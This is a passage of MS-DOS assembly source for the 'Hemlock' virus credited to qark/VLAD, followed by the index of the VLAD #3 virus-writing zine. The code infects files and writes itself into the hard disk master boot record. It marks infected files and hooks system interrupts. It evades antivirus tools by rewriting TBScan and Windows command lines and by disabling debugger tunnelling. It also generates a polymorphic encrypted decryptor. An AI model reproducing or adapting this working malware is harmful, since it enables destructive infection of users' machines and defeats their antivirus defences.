        mov     word ptr cs:time,cx
        mov     word ptr cs:date,dx
        pop     dx
        pop     cx
        pop     ax
        ret
;....................................
Set_Marker:
;Sets the 100 years marker on the infected file.
;BX=File handle

        db      0bah            ;MOV DX,xxxx
        date    dw      0
        db      0b9h
        time    dw      0       ;MOV CX,xxxx

        add     dh,200          ;100 SHL 1 = 200
        mov     ax,157h
        call    int21h
        ret
;....................................
Check_Years:
;Assumes ES:DI = SFT
;On exit the flags will be set so that a JB means that the file isn't
;infected. JA means it is.
        cmp     byte ptr es:[di+010h],200
        ret
;....................................
Get_SFT:
;Entry: BX=Filehandle
;Exit: ES:DI=SFT
        push    bx
        push    ax
        mov     ax,1220h
        int     2fh
        jc      bad_sft
        xor     bx,bx
        mov     bl,byte ptr es:[di]
        mov     ax,1216h
        int     2fh
bad_sft:
        pop     ax
        pop     bx
        ret
;....................................
LSeek_End:
        mov     ax,0242h                ;Call this to lseek to the end
        jmp     short lseek
LSeek_Start:                            ;Call this to lseek to the start
        mov     ax,42h
LSeek:
        cwd
        xor     cx,cx
        call    int21h
        ret
;....................................
Check_Names:
;On Entry DS:DX=filename to execute

;Exit: put ' co nm' into the command line if program is TBScan.  The 'co'
;will cause TBScan to use DOS instead of it's low level disk routines
;and subsequently it will not find any change in files.  The 'nm' means
;there will be no memory test.  This is just for in the future when Thunder
;Byte get the virus signature they won't be able to detect residency of the
;virus.

;Turn stealth off if one of the program being executed is a bad one.

        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
        ;Test for tbscan
        mov     si,dx
find_ext:
        lodsb
        cmp     al,'.'                  ;The dot in the filename.
        jne     find_ext
        std

        lodsw                   ;SI-2
        ;SI=Last letter in name.

        xor     cx,cx
        mov     di,offset bad_names-1
        push    cs
        pop     es
name_loop:
        mov     cl,byte ptr cs:[di]     ;CS:DI=Size of string
        dec     di                      ;Index to end of name.
        push    si                      ;Save SI
        repe    cmpsb                   ;Compare the names.
        pop     si                      ;Restore SI
        je      found_name              ;We got one!
        sub     di,cx                   ;Next name
        cmp     di,offset bad_finish
        jbe     tail_fail
        jmp     short name_loop
        
found_name:
        cmp     di,offset bad_finish    ;TBSCAN gets different treatment.
        jbe     tbscan_found

        cmp     di,offset bad_win
        jbe     win_found

        mov     byte ptr cs:stealth,0   ;Turn stealth off.
        jmp     short tail_fail

TBSCAN_Found:
        ;Change command line
        cld
        pop     es                      ;ES was last thing pushed.
        push    es                      ;ES=Param Block segment.
        mov     di,word ptr es:[bx+2]   ;Grab command tail from param block
        mov     si,di
        mov     ax,word ptr es:[bx+4]
        mov     es,ax
        mov     ds,ax                   ;DS:SI=ES:DI=Command tail

        inc     di                      ;Past tail count.

        cmp     byte ptr [si],0         ;No parameters!
        je      write_tail

        mov     cx,127                  ;Length of tail.
        mov     al,0dh
        repne   scasb
        jne     tail_fail

        dec     di                      ;DI = 0D end of command line.

write_tail:
        add     byte ptr [si],6
        push    cs
        pop     ds
        mov     si,offset tail_fix
        mov     cx,7
        rep     movsb
        jmp     tail_fail

win_found:
        cld
        pop     es                      ;ES was last thing pushed.
        push    es                      ;ES=Param Block segment.
        mov     di,word ptr es:[bx+2]   ;Grab command tail from param block
        mov     si,di
        mov     ax,word ptr es:[bx+4]
        mov     es,ax
        mov     ds,ax                   ;DS:SI=ES:DI=Command tail

        inc     di                      ;Past tail count.

        cmp     byte ptr [si],0         ;No parameters!
        je      write_win_tail

        mov     cx,127                  ;Length of tail.
        mov     al,0dh
        repne   scasb
        jne     tail_fail

        dec     di                      ;DI = 0D end of command line.

write_win_tail:
        add     byte ptr [si],5
        push    cs
        pop     ds
        mov     si,offset win_fix
        mov     cx,6
        rep     movsb

tail_fail:
        cld                             ;Gotta keep the forward scan.
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret

        ;We are scanning backwards because it is smaller than searching
        ;for the \ in the filename.
        Bad_finish      db      'TBSCAN',6
        Bad_win         db      'WIN',3
                        db      'CHKDSK',6
                        db      'PKZIP',5
                        db      'ARJ',3
                        db      'NDD',3
                        db      'SCANDISK',8
                        db      'LHA',3
        Bad_names:                              ;Scan from here...

        tail_fix        db      ' co nm',0dh    ;<- insert this
        win_fix         db      ' /d:f',0dh     ;make windows use 16bit disk
                                                ;access
;....................................
Check_Handle:
;BX=File handle
;Carry if bad handle.
        push    ax
        push    dx
        mov     ax,44h
        call    int21h                  ;Get device info.
        jc      bad_handle              
        shl     dl,1                    ;If bit 7=1 then not a file.
                                        ; SHLing it will set the carry
                                        ; flag based on bit 7
        jmp     short handle_exit
bad_handle:
        stc
handle_exit:
        pop     dx
        pop     ax
        ret
;....................................
Anti_Tunnel:
        push    ax                      ;Disable any tunnelers.
        push    bx
        push    si
        push    ds

        xor     ax,ax
        mov     ds,ax                   ;Vector table
        lds     si,[1*4]                ;DS:SI=Int 1 Address
        mov     bl,byte ptr [si]        ;Save first byte of it.
        mov     byte ptr [si],0cfh      ;Move an IRET at the entry point.

        pushf                           ;Flags on stack.
        pop     ax                      ;Flags into AX
        and     ah,0feh                 ;Remove trap flag.
        push    ax                      ;Flags back on stack
        popf                            ;Set flags without any trap on.

        mov     byte ptr [si],bl        ;Restore entry point.

        pop     ds
        pop     si
        pop     bx
        pop     ax
        ret
;....................................
Check_MBR:
;Assumes SI=Delta
;On exit: JE infected  JNE not infected
        push    ax
        push    bx
        push    cx
        push    dx
        push    es

        push    cs
        pop     es

        mov     ax,201h
        lea     bx,[si+offset end_virus]
        mov     cx,1
        mov     dx,80h
        int     13h

        cmp     word ptr es:[bx+offset marker - offset bootsector],'uE'

        pop     es
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret
;....................................
SetROM15_13:
;Sets int15/13 to the ROM vector (if it can find it)
;SI=Delta
        push    ax
        push    si
        push    di
        push    ds
        push    es

        cld
        mov     di,si                   ;DI=Delta
        mov     ax,0f000h               ;ROM BIOS segment
        mov     ds,ax
        mov     si,[0ff0dh]             ;ROM interrupt table
        lodsb
        cmp     al,0e9h
        je      found_rom15
        mov     si,0f859h               ;The IBM standard int15 address
        lodsb
        cmp     al,0e9h                 ;Is there a JMP there ?
        jne     find_rom13
found_rom15:
        dec     si
        push    ds
        
        push    cs
        pop     ds                      ;DS=CS

        xor     ax,ax
        mov     es,ax                   ;ES=0
        push    es:[15h*4]
        pop     [di+offset i15]         ;Save the offset
        mov     es:[15h*4],si           ;Set the offset

        push    es:[15h*4+2]
        pop     [di+offset i15+2]       ;Save the segment
        mov     es:[15h*4+2],0f000h     ;Set the segment
        
        pop     ds
find_rom13:
        xor     si,si
        inc     si
search13:
        cmp     si,0fff0h               ;Most AMIBIOSes just have this
        jae     not_present13           ;signature at their int13 entry
        dec     si                      ;point.  In fact every one I looked
        lodsw                           ;at had it.
        cmp     ax,0fa80h
        jne     search13
        lodsw
        cmp     ax,0fb80h
        jne     search13
        lodsb
        cmp     al,0fch
        jne     search13
        sub     si,5

        xor     ax,ax
        mov     ds,ax
        push    cs
        pop     es
        mov     ax,si           ;AX=Offset of int13handler
        mov     si,13h*4
        lea     di,[di+offset i13]
        movsw
        movsw
        mov     word ptr [si-4],ax
        mov     word ptr [si-2],0f000h

not_present13:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     ax

        ret
;....................................
Infect_MBR:
;Infects the hard disk MBR

;SI=Delta Offset

        push    ax
        push    bx
        push    cx
        push    dx
        push    ds
        push    es

        xor     ax,ax
        mov     dx,80h
        int     13h

        lea     bx,[si+offset end_virus]
        push    cs
        pop     es
        mov     ax,201h
        mov     cx,1
        int     13h

        mov     ax,301h
        mov     cl,3
        int     13h

        push    cs
        pop     ds              ;CS=DS=ES

        push    si
        lea     di,[si+offset end_virus]
        add     si,offset bootsector
        mov     cx,offset bs_end - offset bootsector
        cld
        rep     movsb
        pop     si
        
        lea     di,[si+offset end_virus + 510]
        mov     ax,0aa55h
        stosw                   ;Put the bootsector marker in.

        lea     bx,[si+offset end_virus]
        mov     cx,1
        mov     ax,301h
        int     13h

        mov     cx,4
        mov     ax,307h
        mov     bx,si
        int     13h

        pop     es
        pop     ds
        pop     dx
        pop     cx
        pop     bx
        pop     ax

        ret
;....................................
Reset15_13:
;Resets int13/15 to original vectors.
;SI=Delta offset

        push    ax
        push    si
        push    di
        push    ds
        push    es

        push    si
        
        push    cs
        pop     ds              ;DS=CS
        
        xor     ax,ax
        mov     es,ax           ;ES=0

        add     si,offset i15
        mov     di,15h*4
        cld
        movsw
        movsw                   ;Restore int15

        pop     si              ;Restore SI=Delta

        add     si,offset i13
        mov     di,13h*4
        movsw
        movsw                   ;Restore int13
        
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     ax

        ret
;....................................
Set_Int24:
;Sets int24 to our handler
        push    ax
        push    si
        push    di
        push    ds
        push    es

        xor     ax,ax
        mov     ds,ax
        push    cs
        pop     es
        mov     si,24h*4
        mov     di,offset i24
        cld
        movsw
        movsw
        mov     word ptr [si-4],offset int24h
        mov     word ptr [si-2],cs
        
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     ax
        ret
;....................................
Reset_Int24:
;Restores int24
        push    ax
        push    si
        push    di
        push    ds
        push    es

        xor     ax,ax
        mov     es,ax
        push    cs
        pop     ds
        mov     si,offset i24
        mov     di,24h*4
        cld
        movsw
        movsw
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     ax
        ret
;....................................
Setup_Poly:
;Copies the virus code into the buffer after the virus, generates the
;polymorphic decryptor/encryptor and encrypts it.

        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
        push    bp

        push    cs
        push    cs
        pop     ds
        pop     es
        mov     bp,word ptr delta
        mov     cx,offset enc_end - offset enc_start
        xor     di,di
        call    poly

        xor     si,si
        mov     di,offset end_virus
        mov     cx,di
        rep     movsb

        mov     al,byte ptr cipher_val
        mov     si,offset end_virus + offset enc_start
        mov     cx,offset enc_end - offset enc_start - 1
        call    enc_loop

        pop     bp
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret
;....................................
Poly    Proc    Near
;;ES:DI=buffer
;;CX=size of enc buffer
;;BP=delta offset

;AL=cipher
;SI=pointer
;CX=counter

;  The basic algorithm for the polymorphism

;        mov     al,0
;        mov     si,offset encstart
;        push    si
;        mov     cx,200
;encloop:
;        xor     byte ptr cs:[si]
;        ror     al,1
;        ror     al,1
;        inc     si
;        dec     cx
;        or      cx,cx
;        jns     encloop
;encstart:
;        ret

        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
        cld

        push    cs
        pop     ds

        in      al,40h
        mov     byte ptr cipher_val,al
        xor     dx,dx
retry_var:
        cmp     dl,7
        je      past_first
        in      al,40h
        and     al,3
        cmp     al,4
        je      retry_var
        dec     al
        js      set_cx
        jz      set_si
set_al:
        test    dl,1
        jnz     retry_var
        or      dl,1
        mov     al,0b0h                 ;MOV AL,xx
        stosb
        mov     al,byte ptr cipher_val
        stosb
        jmp     short retry_var
set_cx:
        test    dl,2
        jnz     retry_var
        or      dl,2
        mov     al,0b9h                 ;MOV CX,xxxx
        stosb
        mov     ax,cx
        dec     ax                      ;less one because of the JNS
        stosw
        jmp     short retry_var
set_si:
        test    dl,4
        jnz     retry_var
        or      dl,4
        mov     al,0beh                 ;MOV SI,xxxx
        stosb
        mov     ax,bp        
        add     ax,offset enc_start
        stosw
        mov     al,56h                  ;PUSH SI        
        stosb
        jmp     retry_var

past_first:
        ;Just do a crap instruction so that our JNS xxxx won't be the same.
        ;It just reads instructions out of DATABASE1

        xor     dx,dx

retry_second:
        mov     word ptr jmp_calc,di
        mov     si,offset database1
        in      al,40h
        and     ax,6                    ;3*2
        add     si,ax
        movsw
redo_table:
        cmp     dl,31
        je      past_second
        mov     si,offset random_table
        in      al,40h
        and     ax,14
        cmp     ax,8
        ja      redo_table
        add     si,ax
        lodsw
        call    ax
        jmp     short redo_table

set_xor:
        test    dl,1
        jnz     garbage1
        or      dl,1
        mov     al,02eh                 ;CS:
        stosb
        mov     ax,430h                 ;BYTE PTR [SI],AL
        stosw
        ret

garbage1:                               ;Random AL garbler
        test    dl,2
        jnz     garbage2
        or      dl,2
        jmp     short do_garbage

garbage2:
        test    dl,4
        jnz     inc_si
        or      dl,4
do_garbage:
        mov     si,offset database2     ;Garbage database
        in      al,40h
        and     ax,7
        shl     ax,1
        add     si,ax
        movsw
        ret

inc_si:
        test    dl,8
        jnz     dec_cx
        or      dl,8
        mov     al,46h                  ;INC SI
        stosb
        ret

dec_cx:
        test    dl,16
        jnz     set_xor
        or      dl,16
        mov     al,49h                  ;DEC CX
        stosb
        ret

past_second:
        xor     dx,dx
redo_second:
        cmp     dl,3
        je      do_ret
        in      al,40h
        and     al,1
        cmp     al,0
        je      one_byte1
or_cx_cx:
        test    dl,1
        jnz     one_byte1
        or      dl,1
        mov     si,offset database4
        in      al,40h
        and     ax,1
        add     si,ax                   ;Index to a compare instruction
        movsb
        mov     al,0c9h                 ;CX,CX
        stosb
        ;jge, jns etc
        mov     si,offset database5
        in      al,40h
        and     ax,1
        add     si,ax
        movsb                           ;Put a JGE/JNS in.
        mov     ax,di
        inc     ax                      ;Calculate the jump.
        sub     ax,word ptr jmp_calc
        mov     ah,al
        in      al,40h
        and     al,2
        sub     ah,al
        mov     al,ah
        neg     al
        stosb
        jmp     redo_second


one_byte1:
        test    dl,2
        jnz     or_cx_cx
        or      dl,2
        mov     si,offset database3     ;One byte crap
        in      al,40h
        and     ax,7
        add     si,ax
        movsb
        jmp     redo_second
do_ret:

        mov     si,offset database3
        in      al,40h
        and     ax,7            ;0-7
        add     si,ax           ;Index into table
        lodsb
        mov     ah,0c3h         ;RET
        mov     dx,ax
        in      al,40h
        and     ax,7
        mov     cx,ax
swap_pos:
        xchg    dh,dl
        loop    swap_pos
        mov     ax,dx
        stosw                   ;Store the one byte crap/ret combination
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret

random_table    dw      offset set_xor
                dw      offset garbage1
                dw      offset garbage2
                dw      offset inc_si
                dw      offset dec_cx
        
database1:                              ;Utter crap
                xchg    bx,dx
                mov     bl,9
                xor     dx,dx
                sub     bx,bx
database2:                              ;AL garblers
                ror     al,1
                add     al,07ah
                sub     al,0e0h
                dec     al
                sub     al,0b2h
                dec     al
                add     al,81h
                ror     al,1

database3:                      ;One byte crap
                cld
                dec     dx
                inc     bx
                scasb
                inc     di
                dec     di
                inc     dx
                dec     bx
database4:
                db      0bh     ;OR xx,xx
                db      23h     ;AND xx,xx
database5:
                db      79h     ;JNS
                db      7dh     ;JGE

cipher_val      db      0
jmp_calc        dw      0

Poly    EndP
;....................................
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

VirusName       db      'Hemlock by [qark/VLAD]',0

delta           dw      0               ;delta offset
qemm            db      0               ;0=no qemm
dosdata         db      'OSDATA'        ;DOSDATA.SYS
flag21          db      0
mz_counter      db      1
stealth         db      1               ;0=no stealth
filetype        db      'C'             ;C=COM S=SYS E=EXE
virus_jump      db      0e9h,0,0
enc_end:
                db      0               ;The polymorphics will encrypt this
                                        ;byte sometimes.
header          db      0cdh,20h,16h dup (0)

end_virus:                      ;<-- Our virus length

                db      offset end_virus dup (0)
                db      100 dup (0)
Mem_Size:
IVT             db      1024    dup (0)
        mode    db      0


- VLAD #3 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

The Press
ARTICLE.2_2       Fooling TBScan
ARTICLE.2_3       Backdoors
ARTICLE.2_4       Tracing Int21
ARTICLE.2_5       Replication
ARTICLE.2_6       VSUM denial
ARTICLE.2_7       Proview

ARTICLE.3_1      

TBTSR Checking
ARTICLE.3_2       TBScan Flags
ARTICLE.3_3       HD Port Reading
ARTICLE.3_4       HD Port Writing
ARTICLE.3_5       TBAV Monitor
ARTICLE.3_6       Micro128 Disasm
ARTICLE.3_7       Aust403 Disasm

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Hemlock
ARTICLE.4_3       Antipode
ARTICLE.4_4       Insert
ARTICLE.4_5       VLAD-DIR
ARTICLE.4_6       Quantum Magick
ARTICLE.4_7       Mon Ami La Pendule

ARTICLE.5_1      

Monkeys
ARTICLE.5_2       Small Virus
ARTICLE.5_3       Catch-22
ARTICLE.5_4       ART Engine
ARTICLE.5_5       Megastealth
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main